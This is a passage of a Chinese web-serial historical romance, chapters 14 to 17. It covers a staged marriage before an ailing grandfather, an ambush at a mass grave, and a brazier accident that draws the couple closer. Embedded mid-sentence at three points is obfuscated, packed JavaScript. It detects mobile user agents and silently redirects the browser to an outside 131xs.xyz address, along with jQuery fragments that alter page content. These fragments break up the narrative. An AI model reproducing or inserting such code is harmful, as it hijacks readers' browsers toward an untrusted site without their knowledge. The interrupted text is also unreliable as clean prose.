“那我自然该去。”黎昭月站起身,吩咐云舒,“把我库房里那支上好的老山参找出来带上。” 李既白看着她忙碌吩咐的背影,眸光微动,终是化为一抹复杂的暖意。 李府老宅不如靖安侯府奢华,却更显古朴厚重,一草一木都透着岁月的沉淀。管家早已在门口等候,见到他们,脸上露出真切的笑容:“侯爷,夫人,你们来了。老太爷念叨一早上了!” 穿过熟悉的回廊,刚踏入院子,便闻到一股淡淡的药香。屋内,须发皆白,精神略显萎靡的李英明正靠在榻上,由小厮伺候着喝药。 “祖父。”李既白快步上前,接过药碗,亲自试了试温度才小心翼翼地喂到老人嘴边。 黎昭月看着这一幕,心中微动。无论李既白对外如何冷酷算计,对这位将他抚养成人的祖父,他的孝心从不掺假。 “祖父。”她跟上前,脸上满是担忧与亲切。 李英明看到他们,浑浊的眼睛顿时亮了起来,推开药碗,笑着招手:“昭月来了!快,到祖父这儿来!” 黎昭月赶忙握住老人那布满皱纹的手:“祖父,您感觉好些了吗?听说您病了,我心里着急得很。” “好孩子,祖父没事,就是年纪大了,不中用了。”李英明拍着她的手,目光在她和李既白之间转了转,“看到你们一起来,祖父这病就好了一大半!” 李既白将药碗放下,走到黎昭月身侧,极为自然地伸出手,轻轻搭在她的肩头。黎昭月强迫自己放松下来,甚至微微向后靠了靠,做出倚靠的姿态。 李既白搭在她肩上的手指微微收紧,指尖传来温热的触感。他俯身,营造二人亲密的画面,“祖父放心,我们很好。” 他顿了顿,“只是昭昭性子静,平日不爱出门,孙儿公务又繁忙,未能时常带她回来探望祖父,是孙儿的不是。” 黎昭月面上也配合着,露出羞涩与理解的浅笑:“既白他公务要紧。我在家中一切都好,祖父不必挂心。” 她这一声“既白”,叫得自然又亲切。 二人以为这番下来简直完美,可听到的却是老爷子的一声叹息。 “昭月,既白是不是对你不好?”这话,黎昭月还有方法应对,可李英明的下一句却让她的防线差点崩塌。 “你也是我看着长大的,你从前快乐,无拘无束,但现在,我一眼就能看出来,你并不开心。” 他说着,忽地从右侧将鞭子取出,那是在伺候家法时才嫌少会用到的工具,“孽障,还不跪下!” 鞭子略过黎昭月,实实在在地落在李既白身上,肩头震出一道痕迹。 就在第二道鞭子挥来时,黎昭月挡在了李既白面前,眼眶发红,“祖父!” 她回头瞥了眼正准备跪下的男人,瞪了他一眼,“既白待我很好,我现在也很幸福,因为我的愿望一直都是想嫁给他,祖父您不是知道吗?” 李英明摇了摇脑袋,捂着心口:“昭月,你不必替他解释。你拒婚的消息我听说了,还有你身上那股忧伤,以往我从未见过……” 黎昭月抿着唇,她知道李英明的身体是吃不消如此动怒的,她必须彻底打消他的疑虑,否则很有可能提早让那个悲剧发生。 “阿公,昭月今年17,还去西境锻炼了三年,自是成长不少,不像以往那般顽劣。”她说着,含情脉脉地回过头,紧紧拉住了李既白的手。 “我对既白的感情更是您看在眼里的,及笄那天只是我闹了点脾气,一时气话,但我同既白之间是没有隔阂的。”她说着,仿佛二人真的是如此生活,“况且,如果他敢待我不好,我的毒箭会替我收拾他的。” 黎昭月说完面上浮现笑容,这话她说的不假,她做好了与李既白同归于尽的打算。 “祖父,孙儿今日对您立誓,我李既白定护昭月周全无虞,绝不让她受半分委屈,也定与她和睦相守,不违今日之言。”李既白说着直直跪下,目光不闪躲,不逃避,那份专注的神情,无不感受到他的诚恳。 这戏做得十足。黎昭月几乎要为他这炉火纯青的演技拍手叫好。 她抬起眼,与他四目相对,努力让自己的眼神看起来同样蕴含着情意,“我们二人,携手共进。” 那一刻,在李英明双目含泪的视线里,他们仿佛真的是一对恩爱不移的夫妻。 李英明精神不济,又拉着黎昭月说了很多交代的话。黎昭月亲自伺候他躺下,为他掖好被角。老人握着她的手,喃喃道:“昭月啊……受了委屈就告诉我,我替你教训……”声音渐低,沉沉睡去。 看着他安睡的容颜,黎昭月心中五味杂陈。她唯一能做的,就只有努力演好这场戏了,至于感情破裂的事,只要李既白不主动,她自不会打破这已久的氛围。 她与李既白对视一眼,默契地退出了房间。走在老宅寂静的回廊上,方才那虚假的恩爱气氛瞬间消散,取而代之的是一如既往的沉默。 “谢谢你。” 黎昭月脚步未停,“侯爷不必谢我,我只是不想让祖父担心。毕竟,他也是我的长辈。” 李既白脚步一滞,看着她决绝的背影,喉结滚动了一下,最终什么也没说。 阳光透过廊下的雕花窗棂,将两人的影子拉长,看似交叠,实则中间隔着无法跨越的距离。 李既白离京的次日,黎昭月心中记挂着与沈牧的联络,以及如何接触孙毅之事,想去那日与沈牧相见的墨韵书局附近再看看。 行至静心茶楼附近,黎昭月下意识地抬头看了眼这清雅的所在。正是午时,茶楼客人不多。就在她准备继续前行时,眼角余光瞥见二楼临窗的一个雅间内,一个熟悉的身影正独自斟茶。 素衣布裙,身姿纤弱。曾钦宁? 她怎么会在这里,还如此巧合地坐在最为显眼的位置。 黎昭月脚步一顿,心中疑窦丛生。李既白刚离京,她便独自出现在这离靖安侯府不远的茶楼,是巧合,还是刻意? 就在黎昭月犹豫是否要避开时,雅间的曾钦宁仿佛心有所感,抬起眼眸,目光精准地落在了街上的黎昭月身上。四目相对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544055|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曾钦宁的脸上没有丝毫意外,反而对着她,极轻地颔首示意,随即伸手,指了指自己对面的空位。 那是一个明确的邀请。 黎昭月蹙眉。是陷阱?可她若想对自己不利,似乎不必如此大张旗鼓。心中那份对真相的渴望,以及曾钦宁与李既白之间那层神秘的关系,驱使着她做出了决定。 “云舒,你在楼下等我。”黎昭月吩咐着,抬步走进了静心茶楼。 推开雅间的门,茶香袅袅。曾钦宁依旧平静地坐在那里,仿佛等候多时。 “夫人,请坐。”曾钦宁语气平淡,为她斟上一杯新茶。 黎昭月在她对面坐下,没有动那杯茶,“曾小姐特意在此等我?” 曾钦宁抬起眼,没有回避:“是,也不是。民女只是猜测,夫人或许会经过此地。” “你怎知我会经过?” “夫人心系兄长,暗中查访,墨韵书局是沈牧先生的联络点,夫人既已去过一次,再次前来附近打探消息,并不奇怪。”曾钦宁的语气依旧没有什么起伏,却让黎昭月心中骇然。 “你监视我?”黎昭月的声音冷了下来。 曾钦宁摇了摇头:“并非监视。只是侯爷离京前,吩咐民女务必确保夫人安全,故而……对夫人的动向,略有了解。”她说得意味深长。 黎昭月心中冷笑,“曾小姐有何指教,不妨直言。” 曾钦宁轻轻转动着手中的茶杯,澄澈的茶汤洒落,“夫人可知,民女为何会留在侯爷身边?” 不就是因为觊觎自己的位子? 黎昭月按捺住性子:“不知。” “报恩。”曾钦宁的回答简洁有力,“曾家灭门,是侯爷救下了我。”她抬起眼,目光澄澈:“所以,夫人,我也只是帮侯爷做点,不是明面的事。” “哼!曾家乃商贾世家,现依然活跃在各大州内,你撒起谎来倒不心慌!” “这当中有太多说不清的东西,信与不信,全在夫人。”曾钦宁并不急于说服她,话锋陡然一转,“不过,民女今日在此等候,除了告知夫人部分真相,还想送给夫人一个机会。” “机会?” “一个可以亲眼看到部分戏码,或许还能找到救您兄长线索的机会。” 曾钦宁的声音压低了些,带着一股神秘的意味,“明日卯时的葬岗,夫人不妨前去一观。或许会有意想不到的收获。” “为何是乱葬岗?谁会在那里?” “夫人去了便知。”曾钦宁站起身,似笑非笑地行礼,“民女言尽于此。夫人若信,便去;若不信,便当民女今日未曾出现过。只是,错过此次,或许时机,便要晚上许多了。” 说完,她不再多言,如同来时一般离去,留下黎昭月对着那杯凉透的茶,惊疑不定。 曾钦宁的话,半真半假,如同迷雾。 去,还是不去? 若去,无疑是踏入一个未知的局,生死难料。若不去,万一真如她所言,是救二哥的关键…… 黎昭月攥紧了手指,指甲深深陷入掌心。最终,对兄长安危的担忧压倒了对风险的恐惧。 她站起身,目光变得坚定。无论这是陷阱还是机遇,她都必须去闯一闯。至少,她要亲眼看看,李既白和曾钦宁,到底在演一出怎样的戏。 她下楼找到云舒,“立刻回去找启二,告诉他,明日卯时,我需要他带人在乱葬岗外围接应……” 黎昭月知道,明日清晨,等待她的,将是一场吉凶未卜的冒险。而这场冒险的背后,或许隐藏着她一直苦苦追寻的,关于李既白,关于所有阴谋的,第一片真相。 15. 第十五章 天还未亮,京城笼罩在一片灰蒙蒙的雾气中。黎昭月再次扮作公子模样,独自一人,踏着露水,向着那片令人闻之色变的乱葬岗行去。 越是靠近,周遭便越是荒凉。废弃的屋舍,歪斜的墓碑,空气中弥漫着腐朽的气息,偶尔传来几声乌鸦的啼叫,更添几分阴森。 她来到了一片相对开阔的坡地,四周散落着残破的棺木和无名坟冢。雾气在这里似乎更浓了些,能见度极低。 她环顾着四周,时间在死寂中一点点流逝,只有偶尔掠过的风声。 曾钦宁,莫非在耍我? 就在她疑虑交织之际,一阵脚步声和金属摩擦声传来。黎昭月精神一振,悄然探头望去。 只见三名手持钢刀的蒙面人,押解着一个被反绑双手,被堵住嘴巴的男人,鬼鬼祟祟地进入了这片开阔坡地。那被绑着的男人虽然狼狈,但身形挺拔,即便在如此境地,眼神中也透着一股不屈的韧劲。 那三名蒙面人将男人粗暴地推搡到空地中央。其中一人环顾四周,声音沙哑低沉:“确认过了,这里够偏僻,解决了也不会有人发现。” 另一人抽出钢刀,寒光在灰蒙的雾气中一闪,狞笑着:“孙参军,对不住了,谁让你知道了不该知道的事,挡了别人的路呢?” 孙参军,是孙毅!黎昭月的心瞬间提到了嗓子眼。 孙毅虽口不能言,却怒目圆睁,奋力挣扎,喉咙里发出模糊的嗬嗬声,充满了不甘与愤怒。 黎昭月屏住呼吸,将自己更深地藏匿于一块半人高的残碑之后,指尖已悄然扣住了袖中暗藏的毒箭。 “咔嚓!”她脚下不慎踩断了一截枯枝,发出清脆的声响。 “谁?!”三名蒙面人瞬间警觉,目光齐刷刷射向黎昭月藏身的方向。 糟了!黎昭月心中一惊,知道自己已然暴露。她当机立断,猛地从石碑后跃出,同时拉响了手中的烟枪。那是与启靳权约定好的信号,一旦放出,埋伏在远处的人便会赶来接应。 “咻——啪!”红色的信号烟火在半空中炸开,格外醒目。 “妈的!还有同伙,先杀了这个碍事的!”为首的蒙面人厉声喝道,另外两名杀手立刻持刀,如饿狼般扑向黎昭月。 黎昭月早有准备,在对方动的同时,她抬手,数十支小巧的袖箭疾射而出。 那两人没料到这看似文弱的“公子”竟有如此迅捷狠辣的手段,仓促间挥刀格挡,虽避开了要害,一人手臂被擦伤,另一人则被箭矢划破了脸颊,攻势顿时一滞。 “倒是个扎手的。”为首的蒙面男子舔了舔嘴唇,露出残忍的笑意,“不过,到此为止了!” 三人同时冲来,钢刀映着惨淡的晨光,带着寒意袭来。 黎昭月咬紧牙关,凭借灵活的身法和些许格斗技巧勉力周旋,匕首与钢刀碰撞,溅起零星火花。 “嗤啦——”一声,她的衣袖被刀锋划破,手臂上顿时出现一道血痕。 紧接着,更快的攻击落下,巨大的力道震得黎昭月虎口发麻,匕首险些脱手。她借势后退,险险避开另一人横劈而来的刀锋。 第三人瞅准空档,一脚踹在她腹部。黎昭月闷哼一声,剧痛传来,整个人向后踉跄跌倒,撞在一块冰冷的墓碑上,喉头涌上一股腥甜。 “小子,受死吧!”蒙面人眼中杀机毕露,钢刀高举,朝着她的脖颈挥去。 “咻!” 一道尖锐的破空声撕裂雾气,比之前的响箭更加凌厉。下一秒,一支弩箭如同毒蛇般从侧后方激射而来,精准地没入了那名举刀蒙面人的咽喉。 那人动作僵住,高举的钢刀停滞在半空,眼中充满了难以置信的惊愕,随即轰然倒地,激起一片尘土。 变故突生,剩余两名蒙面人大惊失色,猛地回头。 可只是刹那,数道黑影如同鬼魅般从浓雾中疾射而出,他们动作迅捷如电,出手狠辣果决,显然是训练有素的精锐。 为首之人,一身玄色劲装,面容冷峻,一张熟悉的面孔逐渐浮出水面。 “一个不留。”李既白声音冰冷,不带一丝感情。 “是!”他带来的暗卫如同虎入羊群,不过几个呼吸间,另外两名蒙面杀手便已倒在血泊之中,连惨叫都未能发出。 李既白看也未看那些尸体,大步走到黎昭月面前。他伸出手,似乎想碰触她,指尖却在半空中微微颤抖,最终只是攥成拳。 “你……”他的声音沙哑得厉害,“谁让你来这里的!” 这声质问,不再是平日的温和,而是充满了真切的怒火与恐惧。 黎昭月被他眼中那毫不掩饰的情绪震住了,一时竟忘了反驳。 这时,暗卫已经解开了孙毅的束缚,取出了他口中的布团。孙毅剧烈地咳嗽了几声,顾不上自己的狼狈,快步上前,对着李既白和黎昭月深深一揖:“末将孙毅,多谢侯爷,多谢这位……公子救命之恩!” 李既白深吸一口气,强行压下翻腾的心绪,对孙毅道:“孙参军不必多礼,此地不宜久留。事情的始末,稍后再说。”他示意一名暗卫,“先带孙参军去安全的地方安置。” “侯爷,”孙毅急道,“末将有要事禀报!是关于赵昆副将勾结外敌,还有构陷黎……” “我知道。”李既白打断他,“证据我已掌握部分。孙参军,你的证词至关重要。你先随我的人离开,之后还需你出面指证。” “末将遵命!” 看着孙毅被暗卫护送着消失在雾气中,李既白这才重新将目光投向黎昭月。他脱下自己的外袍,不由分说地披在她身上,裹住她微微颤抖的身体,然后打横将她抱了起来。 “放开我!”黎昭月挣扎,牵动了腹部的伤,疼得倒吸一口凉气。 “别动。”李既白的声音在她头顶响起,“你受伤了。” 他的怀抱坚实而温暖,黎昭月僵在他怀里,一时竟忘了反应。 他没有骑马,而是抱着她,步行在荒凉的小路上,暗卫们无声地跟在身后,保持着一段距离。 “你怎么会来这里?”黎昭月终于找回了自己的声音,带着质问。 李既白低头看了她一眼,眸色复杂:“我今日本该去京郊大营,临行前收到消息,曾钦宁昨夜秘密派人送了一封信到侯府,指引你来此。” 黎昭月瞳孔一缩:“你知道?” “我知道。”李既白语气低沉,“我知道她会利用你对黎昭雪的关切,引你入局。我也知道,赵昆和三皇子的人,绝不会让知晓内情的孙毅活着到达京城。这里,是他们杀人灭口的最佳地点。” “所以……这是一个陷阱?曾钦宁和他们是一伙的?”黎昭月心寒不已。 “不。”李既白否定了她的猜测,语气带着一种奇异的复杂,“曾钦宁……她是在帮我,也是在帮你。” “帮我?”黎昭月觉得荒谬。 “是。”李既白肯定道,“曾钦宁的父亲,曾是被三皇子党羽构陷致死的边城守将,她忍辱负重,是为父报仇。我救过她,她选择与我合作,取得三皇子的信任,成为我在那边的眼睛。” “她引导你来此,是因为她知道,唯有涉及你,才能让我不得不提前动用量,介入此事救下孙毅。”李既白的声音里带着一丝苦涩,“只是我没想到……你竟会独自前来,还险些……”他收紧了手臂,后面的话没有说下去。 黎昭月的大脑一片混乱。 “你……为什么?”她抬起头,声音带着自己都未察觉的颤抖,“为什么现在告诉我这些?” 李既白停下脚步,低头凝视着她,晨光终于穿透了雾气,落在他深邃的眼中,那里不再是冰冷的寒潭,而是翻涌着压抑了太久太久的心疼。 “因为我不想再看到你受伤,更不想……你再恨我。昭昭,很多事非我所愿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时,云舒轻手轻脚地进来,手里捧着一封小巧的信函:“小姐,启二公子派人送了信来,询问您昨日……是否安好。” 黎昭月这才想起,昨日在乱葬岗放了响箭,启靳权定然是看到了信号,却因李既白的人先到一步而未及插手,此刻必定心急如焚。 她正欲伸手去接,却感觉身旁的气压骤然低了几分。李既白站在原地,面色虽未变,但那双眸子却微微眯起。 “有劳启二公子挂心。”他淡淡开口,声音听不出情绪,“回信说,夫人一切安好,只是需要静养,不便打扰。” 这话语里的独占欲几乎不加掩饰。黎昭月蹙眉,看了他一眼,还是从云舒手中接过了信,“启二哥是关心我,我需亲自回信,以免他担心。” 李既白抿了抿唇,没有阻止,只是走到窗边的书案前,默默研墨,将纸笔推到她方便取用的位置。 黎昭月靠在床头,展信阅读。 她提笔回信,李既白还在场,她须斟酌字句:“昨日偶遇意外,幸得府中护卫及时赶到,已无大碍,勿念。琐事缠身,见面之事容后再议。” 写完信,她用火漆封好,交给云舒。李既白这才收回视线,仿佛无事发生般,语气缓和了些:“你手臂有伤,久坐不适,去暖阁榻上靠着吧,那里舒服些。” 暖阁地龙烧得正旺,驱散了冬日的寒意。临窗旁摆着一个精致的黄铜炭炉,炉上架着紫砂壶,正咕嘟咕嘟煮着茶,茶香四溢。 黎昭月依言靠坐在榻上,李既白则坐在她对面的一方蒲团上,跳跃的炭火映照着他棱角分明的侧脸,柔和了几分平日里的冷峻。 “记得小时候,你总爱缠着祖父,围在炉边听他讲故事,偷吃烤煨好的芋头。”李既白忽然开口,带着一丝遥远的怀念。 尘封的记忆被唤醒。那是很久远的事情了,那时黎昭月还是个不知愁滋味的小丫头,而他是那个会默默把最甜的芋头剥好递给她的既白哥哥。 “是啊,”她轻声道,有些恍惚,“那时……很好。” 16. 第十六章 两人之间陷入一种奇异的沉默,不再是剑拔弩张的对峙,却也并非融洽无间,更像是一种小心翼翼的试探。炭火噼啪作响,茶香袅袅,竟有几分难得的宁静。 李既白斟了一杯热茶,递给她,“小心烫。” 黎昭月伸手去接,炭火的声音却不正常地响起。 只听“嘭”的一声,烧得通红的炭炉猛地炸开一道缝隙,几块炽热的炭块,滚烫的茶水连同着壶盖碎片朝着黎昭月所在的方向迸溅而。 事情发生得太快,黎昭月根本来不及躲开,只能眼睁睁看着那灼热的风暴袭向自己。 “小心!” 电光火石间,李既白几乎是本能地倾身扑了过来,他用整个后背将她严严实实地护在榻上,同时手臂迅速抬起,挡在她的脸侧。 “嗤——” 滚烫的炭块和茶水大部分砸在了他的后背上和抬起的手臂上,发出一阵灼烧声,空气中也弥漫开一股布料烧焦和皮肉炙烤的气味。 黎昭月被他紧紧护在身下,毫发无伤,只能感受到他忽然加重的呼吸声。 “侯爷!” “小姐!” 外面的云舒和墨痕听到动静冲了进来,看到眼前的景象,都骇得脸色发白。 李既白额角沁出细密的冷汗,却第一时间低头查看怀里的黎昭月:“你没事吧?” 他的声音因忍痛而变得沙哑,眼神里的惊惧和后怕尚未褪去。 黎昭月看着他近在咫尺的脸,看着他因疼痛而微蹙的眉头,看着他手臂上那片灼伤…… 那一刻,所有的怀疑,恨意,似乎都被这舍身的保护击得粉碎。 一个人,真的可以在演戏时,做到如此地步吗? “我……我没事。”她的眼眶蒙上一层水雾,“你的伤……” 李既白见她无恙,这才松了口气,撑起身子,对急忙上前的墨痕摆了摆手:“无妨,皮外伤。” 陈太医又被匆匆请来,黎昭月坚持坐在一旁看着。当看到太医剪开他手臂上粘连着皮肉的衣袖,露出下面那片狰狞的灼伤时,她的心仿佛也被烫了一下,用力一抽。 李既白由着太医处理伤口,自始至终没有哼一声,目光却时不时地落在黎昭月身上。 处理好伤口,太医又开了消炎镇痛的药方,叮嘱千万不可沾水,这才离去。 暖阁内重新安静下来,只剩下他们两人,以及空气中尚未散尽的药味和焦糊气。 黎昭月看着他被纱布层层包裹的手臂,终于低声开口,问出了那个盘旋在心头的问题:“为什么……要替我挡?” 李既白抬眸看她,眸子如炭火般明亮:“没有为什么。” 他顿了顿,目光沉真挚地望进她眼里,一字一句,诚挚无比: “护你周全,于我而言,如同本能。” —— 李既白因背部和手臂的灼伤,行动颇为不便,但他并未回自己的主院,而是顺势在内院住下了。 黎昭月没有反对。经历了这些事,亲眼见他为自己受伤,她心中那堵冰筑的城墙,已然裂开了一道缝隙。她无法再像从前那样,对他冷言冷语,视若无睹。 云舒和几个心腹丫鬟悄无声息地将侯爷的常用之物搬了过来,暖阁里很快便添上了他的气息。 白日里,李既白大多时候靠在榻上看书或处理公文,黎昭月则坐在窗边做自己的事,或是翻阅沈牧之前给她的那些关于朝堂势力的笔记。两人并无太多交谈,但以往那种针锋相对的紧绷感却消散许多,取而代之的是一种微妙的平静。 这日午后,陈太医来换药。黎昭月坐在不远处,看着太医小心翼翼地解开纱布,露出底下那片红肿且带着水泡和灼痕的皮肤,她的指尖不自觉地蜷缩了一下。 李既白额角渗出细密的汗珠,却始终一声不吭,目光平静。 “侯爷,这灼伤颇重,万幸未伤及筋骨,但近日定要小心,切忌用力,也莫要沾水。”陈太医一边上药,一边絮絮叮嘱。 “有劳太医。” 待太医包扎完毕,收拾药箱离开,李既白试着动了动手臂,一阵刺痛让他微微吸了口气。 黎昭月看着他隐忍的样子,沉默片刻,起身走到小茶炉旁,重新沏了一壶温热的茶水,倒了一杯递给他。 李既白看着她递到眼前的茶杯,微微一怔。他接过茶杯,指尖与她轻触,这次,黎昭月没有立刻缩回。 “谢谢。” “不必。”黎昭月垂下眼帘,退回窗边的座位,心跳却莫名快了几分。 又一阵无声的浮动后,“关于孙毅……” 李既白直起身,“他已安全,证词和部分物证也已整理妥当。”李既白语气平稳,像是在陈述一件普通的公务,“但眼下还不是动赵昆和周焕的最佳时机。” “为何?”黎昭月忍不住追问,“既然证据确凿……” “打蛇需打七寸。”李既白打断她,“赵昆和周焕不过是摆在明面上的卒子。动了他们,固然能暂时洗刷黎昭雪的冤屈,却会惊动他们背后真正的主使者,让他有机会断尾求生,甚至反咬一口。” 他看着她,“所以,需要耐心。需要等一个时机,等他们自己露出更多的破绽,等我们布下的网,能网住更大的鱼。” 黎昭月听着他冷静的分析,她之前只想着尽快救出二哥,证明黎家清白,却未曾想到更深一层。李既白的谋划,显然比她更长远,也更……危险。 “更大的鱼……是指三皇子?”她压低声音,几乎是在用气音问道。 李既白没有直接回答,只是意味深长地看着她:“树欲静而风不止。有些争斗,不是想避开,就能避开的。” 他这是在默认,也是在提醒她,他们此刻正身处怎样一个巨大的漩涡中心。 “那你……”黎昭月犹豫了下,还是问出了口,“你站在哪一边?” 李既白闻言,唇角勾起一抹极淡的弧度,那笑容里带着几分嘲讽,几分无奈,“我站在……该站的一边。”他停了下,“而我如今最想守护的,唯有一人。” 他的目光太过直接,太过炽热,让黎昭月几乎无法承受。她慌乱移开视线,心跳如擂鼓。他这话,几乎是明示了。 屋内再次陷入寂静,但这一次的寂静,却仿佛充满了无声的暗流。炭火偶尔噼啪一声,像是在为两人之间微妙变化的关系做着赌注。 晚膳时,李既白因手臂不便,夹菜有些困难。黎昭月看在眼里,她自然地拿起公筷,将他多看了两眼的几样菜,默默夹到他面前的碟子里。 李既白抬眸看她,眼底漾开真实的笑意,如同春冰初融,“多谢夫人。” 黎昭月耳根微热,没有应声,只是低头吃着自己的饭。 夜幕降临,暖阁内烛火摇曳。李既白靠在榻上闭目养神,黎昭月则拿着一卷书,却久久未曾翻动一页。她的目光不时飘向榻上那个身影,心中充满了前所未有的迷茫和混乱。 恨意仍在,那是两世积累的痛,无法轻易抹去。可信任的种子,却也在他一次次,一句句发自肺腑的言语中,悄然种下,并且开始顽强地生根发芽。 她到底……该相信什么? 就在这时,榻上的李既白忽然低低咳嗽了几声,似乎牵动了背部的伤,眉头紧紧皱起。 黎昭月几乎是下意识站起身,走到榻边。 李既白睁开眼,看到她站在榻边,烛光在她脸上投下柔和的阴影,那双总是带着戒备和清冷的眼眸里,此刻映着几分未曾掩饰的关切。 两人就这样对视着,仿佛能听到彼此逐渐加快的心跳声。 李既白看着站在榻边的黎昭月,烛光勾勒出她纤细的身影,那双总是带着疏离的眼眸,此刻浸了层细碎的柔光,褪去了往日锋芒。 “你……还疼得厉害吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544057|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”黎昭月看着他依旧微蹙的眉头,轻声问道。 这话问出口,她自己都愣了一下。曾几何时,她竟会主动关心他的伤痛。 李既白唇边泛起一丝淡淡的苦笑:“比起某些看不见的伤,这点皮肉之苦,算不得什么。” 黎昭月心头一跳。 她坐下身,犯错似的捏紧衣角:“李既白,你当初……为什么要向陛下求那道赐婚圣旨?” 这是盘踞在她心头两世的疑问。前世,她以为那是情深似海。重生后,她认定那是阴谋算计,而此刻,在经历了这许多之后,她想要一个答案,一个或许能让她真正看清他内心的答案。 李既白似乎没料到她会突然问起这个,他凝视着她,深邃的眸子里情绪翻涌,复杂难辨。他没有立刻回答,而是反问道:“在你心里,我求那道圣旨,是为了什么?” 黎昭月抿了抿唇,前世剜心之痛让她几乎脱口而出那些质问。但看着他此刻沉静而带着疲惫的眼神,那些话到了嘴边,又被她强行咽了回去。 她别开脸,“我不知道……我只是想知道,对你而言,娶我,究竟意味着什么?” 这次,李既白没有任何犹豫:“意味着,我终于能将自幼时起便放在心上的人,名正言顺地护在我的羽翼之下。” 黎昭月猛地转头看他,眼中充满了震惊和难以置信。 李既白迎着她的目光,没有丝毫闪躲,那眼神里有坦荡,还有要将她炙烤的炽意。 “昭昭,”他叫了她的名字,带着一种前所未有的郑重,“我知你性情如火,向往自由,或许从未想过要被困在这侯府方寸之地。我也知道,你受尽了委屈和非议,更……恨我。” 他的语气里带着涩然:“可那时,三皇子对黎家虎视眈眈,对你也多有留意。陛下表面倚重黎家,实则心存忌惮。若我不抢先一步,用靖安侯府和陛下的赐婚将你牢牢绑住,你可知你会面临什么?黎家又会面临什么?” “所以……你娶我,是为了保护黎家?”她声音干涩地问。 “是,也不全是。”李既白回答得坦诚,“护住黎家,是责任,亦是本分。但娶你,”他目光灼灼地锁住她,“是我李既白的私心。” “我无法容忍你嫁给他人,无法想象你站在别的男人身边。哪怕你会恨我,哪怕要用这种你不情愿的方式,我也要将你留在我身边。”他的声音不高,却带着一种斩钉截铁的决绝,“我知道这很自私,但这就是我最真实的想法。” 保护?私心?可如果他说的是真的,那前世的背叛,地牢的绝情又是什么?难道前世她死后,还发生了她不知道的事情?还是说,这一世因为她的重生和改变,事情的走向已然不同。 巨大的信息冲击让她发昏,她下意识后退了一步,喃喃道:“不,不是这样的……你明明说过,我只是棋子……” “棋子?”李既白眉头紧锁,“我何时说过这样的话?昭昭,你告诉我,我何时何地,说过你是棋子?”他的追问急切而认真。 黎昭月看着他眼中真切的困惑,那些到了嘴边关于前世的控诉,被她死死压了回去。她不能说出来,那太荒谬了。 “我……我累了。”她仓促地避开他的视线,转身走向内室,“侯爷也早些歇息吧。” 看着她几乎是落荒而逃的背影,李既白靠在榻上,眸色深沉如夜。他看得出来,她心中有事,有很重的心事,那心事似乎与他有关,却又仿佛隔着一层他无法穿透的迷雾。 黎昭月回到内室,靠在紧闭的门扉上,心跳依旧剧烈。李既白今晚的话,像一块巨石投入她原本充满恨意的心湖,激起了滔天巨浪。 如果他没有说谎,如果前世的一切,并非她看到的那样简单…… 一个让她浑身发冷的念头悄然浮现,她所以为的真相,会不会根本就不是真相? 这一夜,两人隔着一道门扉,各自无眠。 17. 第十七章 这日午后,天空飘起了细碎的雪花。黎昭月正坐在窗边看书,忽听外间传来墨痕压低的声音:“侯爷,柳尚书府上递来帖子,柳夫人明日想过府探望夫人,当面向夫人致谢。” 黎昭月执书的手微微一顿。 随即是李既白平静的回应:“准。着人好生准备,不可怠慢。” “是。还有……三皇子府上也送来请柬,三日后在府中设宴,邀侯爷与夫人一同前往。” 外间沉默了片刻,才响起李既白听不出情绪的声音:“知道了,放下吧。” 黎昭月的心提了起来。三皇子设宴?这无疑是场鸿门宴。经过乱葬岗之事,上官威必定对李既白起了更深的疑心,这次宴会,恐怕不好对付。 脚步声靠近,暖阁的珠帘被掀开,李既白走了进来。他看了眼黎昭月手边的书,语气如常:“柳夫人明日要来,你可需准备些什么?” 黎昭月放下书,抬眸看他:“不必特意准备,柳夫人是明理之人,心意到了便可。那三皇子的宴会,你打算去吗?” 李既白走到她对面坐下,目光落在窗外纷飞的雪花上:“去,为何不去?” 他唇角勾起一抹冷峭的弧度,“他既然想探我的底,我便让他探。越是退缩,反而越显得心虚。” “可是……”黎昭月蹙眉,“你的伤还未痊愈,而且……” 她本能地抗拒再次面对上官威那双仿佛能看透人心的眼睛。 “无妨。”李既白收回目光看向她,“你若不愿去,我便回绝了。” 他这话说得平淡,却将选择权完全交给了她。黎昭月怔了下,随即摇头:“不,我去。”她不能让他独自去面对危险。况且,她也想亲眼看看,三皇子究竟想做什么。 “好。”李既白点了点头,没再多说什么,但那份无声的支持和理解,却让黎昭月心中微暖。 翌日,柳夫人如约而至。 她带来了许多珍贵的药材和补品,言辞恳切,对黎昭月的感激之情溢于言表。更让黎昭月意外的是,柳夫人的言语间透露出柳尚书对靖安侯在朝中某些事务上的支持态度。 “侯爷年轻有为,处事公允,我家老爷常在府中称赞。”柳夫人拉着黎昭月的手,语重心长,“如今朝中局势复杂,你们夫妻一体,更应相互扶持。若日后有何难处,尽管来柳府寻我,只要能帮得上忙,我柳家绝不推辞。” 